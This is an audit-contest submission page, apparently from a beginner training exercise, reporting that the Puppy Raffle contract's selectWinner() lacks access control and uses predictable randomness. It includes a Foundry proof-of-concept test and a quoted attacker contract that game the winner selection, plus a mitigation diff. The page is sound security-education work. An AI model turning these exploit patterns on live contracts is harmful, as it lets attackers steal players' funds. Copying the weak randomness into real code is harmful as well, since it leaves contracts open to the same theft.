Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Anyone Can Call selectWinner and Manipulate Outcome

Scope: src/PuppyRaffle.sol

Root + Impact

The selectWinner() function has no access control, allowing anyone to call it. Combined with the weak randomness that includes msg.sender, this lets attackers choose exactly when and from which address to call, maximizing their chances of winning.

Description

  • Normal behavior: Winner selection should be fair and not advantageable by any single party.

  • The issue: Since msg.sender is part of the randomness calculation and anyone can call selectWinner(), an attacker can compute the winning outcome for many different addresses and call from the address that results in their entry winning.

// @> No access control modifier - anyone can call
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> Attacker controls which msg.sender value is used
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
}

Risk

Likelihood:

  • Every raffle can be exploited this way

  • Attack requires only computation (no cost beyond gas)

  • Attacker enters with multiple addresses to guarantee one can be made to win

Impact:

  • Attacker wins every raffle they target

  • 80% of raffle funds stolen repeatedly

  • Legitimate players have zero chance of winning

  • Protocol becomes worthless

Proof of Concept

Explanation: The attacker enters with 2 addresses (attacker1 and attacker2) among 4 total players. Before calling selectWinner(), they compute which caller address will make one of their entries win. By calling from that specific address, they guarantee their entry wins and receive the prize pool.

function testVuln10_MissingAccessControl() public {
address attacker1 = address(0xBAD1);
address attacker2 = address(0xBAD2);
vm.deal(attacker1, 10 ether);
address[] memory players = new address[](4);
players[0] = playerOne; // Legitimate
players[1] = playerTwo; // Legitimate
players[2] = attacker1; // Attacker
players[3] = attacker2; // Attacker
vm.prank(attacker1);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
// Attacker finds caller that makes one of their entries win
address winningCaller;
address winningAttackerEntry;
for (uint160 i = 1; i < 1000; i++) {
address testCaller = address(i);
uint256 winnerIdx = uint256(
keccak256(abi.encodePacked(testCaller, block.timestamp, block.difficulty))
) % 4;
address potentialWinner = puppyRaffle.players(winnerIdx);
if (potentialWinner == attacker1 || potentialWinner == attacker2) {
winningCaller = testCaller;
winningAttackerEntry = potentialWinner;
break;
}
}
uint256 attackerBalanceBefore = winningAttackerEntry.balance;
// Attacker calls from winning address
vm.prank(winningCaller);
puppyRaffle.selectWinner();
// Attacker wins and receives prize
assertTrue(puppyRaffle.previousWinner() == attacker1 || puppyRaffle.previousWinner() == attacker2);
uint256 prizePool = (4 ether * 80) / 100;
assertEq(winningAttackerEntry.balance, attackerBalanceBefore + prizePool);
}

Recommended Mitigation

Explanation: Either restrict who can call selectWinner() to a trusted party, or use true randomness that cannot be influenced by the caller (Chainlink VRF).

+ address public authorizedSelector;
+ modifier onlyAuthorizedSelector() {
+ require(msg.sender == authorizedSelector, "Not authorized");
+ _;
+ }
- function selectWinner() external {
+ function selectWinner() external onlyAuthorizedSelector {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF instead - randomness not influenced by caller
+ uint256 winnerIndex = vrfRandomNumber % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!